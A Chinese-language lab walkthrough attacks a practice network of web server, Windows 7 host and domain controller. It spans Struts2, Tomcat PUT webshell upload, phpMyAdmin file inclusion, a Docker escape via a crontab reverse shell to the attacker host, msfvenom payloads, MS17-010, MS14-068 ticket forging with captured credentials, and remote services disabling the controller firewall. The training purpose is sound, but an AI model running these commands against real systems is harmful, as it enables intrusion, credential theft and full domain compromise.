星云博创
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
通过前面的靶场三,我们学习了命令执行函数的绕过,脏牛提权以及WMI的利用,靶场四利用的知识点有struts2、tomcatl漏洞利用、phpmyadmin文件包含、docker逃逸、以及MS14-068攻击域孔,下面让我们来看一下吧。
本次试验靶场配置好后,要自己开启vulhub里面的三个漏洞
攻击机 192.168.1.3
Web 192.168.1.9 192.168.183.3
Win7 192.168.183.2
DC 192.168.1.130
一、信息收集
先对目标进行端口扫描,发现开放了2001、2002、2003 三个web端口
二、漏洞分析
struts2
访问http://192.168.1.9:2001/doUpload.action发现是struts2,使用漏洞利用工具直接获取shell
Tomcat
访问http://192.168.1.9:2001/doUpload.action是一个tomcat页面,首先想的是看有没有弱口令,然后进入后台部署war包来进行getshell,但是不行,那就看看有没有CVE漏洞,使用漏洞扫描工具发现存在CVE-2017-12615,可以直接PUT上传一个shell文件
抓包上传一个冰蝎的木马
访问一下发现存在shell.jsp文件成功上传
Phpmyadmin
访问http://192.168.1.9:2003/发现是一个phpmyadmin未授权页面
首先想到的是修改日志文件或者直接写入一句话木马,但是没有权限,测试发现存在文件包含漏洞
http://192.168.1.9:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd访问http://192.168.1.9:2003/index.php?target=db_sql.php?w=../../../../../../../../../../tmp/sess_c31ee298e7a539c99516b6e291d5de32
尝试写入一句话,但是工具连接不上,换成GET方式执行命令也不行,但通过执行system函数来执行命令。
三、漏洞利用
利用Tomcat以PUT方式上传一个木马文件,使用冰蝎进行连接
docker逃逸
判断是否为docker环境
ls -alh /.dockerenv #查看是否存dockerrnv文件
cat /proc/1/cgroup #查看系统进程的cgroup信息
挂载宿主机
fdisk -l #查看磁盘文件
mkdir /chan #新建一个目录用于挂载
mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内
计划任务写入一个反弹shell的脚本
Touch /chan/tmp/test.sh
Chmod +x /chan/tmp/test.sh
Ls -l /chan/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.3/9999 0>&1" >> /chan/tmp/test.sh
cat /chan/tmp/test.sh
sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /chan/etc/crontab
cat /test/etc/crontab
攻击机监听端口获取shell,逃逸成功,此时也利用计划任务corntab提权到root权限
利用python获取一个交互式shell
进行简单的信息收集,发现存在两个网卡,内网IP为192.168.183.3
使用msf生产一个shell.elf
msfvenom -p
linux/x64/meterpreter/reverse_tcp
lhost=192.168.1.3 lport=4444-f elf >
shell.elf
在靶机中将shell.elf下载下来赋权并执行
MSF监听4444端口,成功获得一个meterpreter
四、横向渗透
添加路由,然后使用MSF开个sock4正向代理,配合proxychains
将/etc/proxychains.conf配置文件中的端口改为1080
配置好后访问内网地址,发现成功访问说明配置成功
内网存活主机扫描
利用MSF自带的模块进行内网主机存活扫描或者在靶机中执行下述命令
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
端口服务探测
proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.2
proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130
发现主机开启了445端口,利用ms17-010攻击域内主机,这里创建一个正向的shell
攻击成功,成功获取一个meterpreter,
使用tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码
成功抓取到douser域用户的密码
切换到域用户
进行简单域信息收集
利用MS14-048攻击域控
获取域用户douser的SID
返回system权限,使用MS14-068进行攻击
利用ms14-068生成票据:
MS14-068.exe -u douser@demo.com -p Dotest123 -s
S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
在mimikztz中导入票据:
Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache
成功获取域控权限
利用MSF生产一个正向连接的payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe -o/var/www/html/cahn.exe
将chan.exe上传到跳板机上
然后将chan.exe复制到域控上
创建关闭域控的防火墙和执行chan.exe的服务,然后执行
sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\chan.exe"
sc \\WIN-ENS2VR5TR3N start Startup
在MSF设置监听,获取一个meterpreter,但是这里过了一会,会自动断开,所以我迁移了一个进程
抓取域控管理员的密码
后面就是开启3389端口然后进行桌面连接了
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server/v fDenyTSConnections /t REG_DWORD /d 0 /f
总结
学习了docker逃逸的姿势,在搭建好代理对内网主机使用MS17010进行攻击时,由于网络的原因好几次都是攻击成功,但是无法返回一个meterpreter。在靶机中查看端口,发现监听的端口过了一会会自动断开,好在后面还是成功返回了一个meterpreter ,然后利用MS14-068拿下域控。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)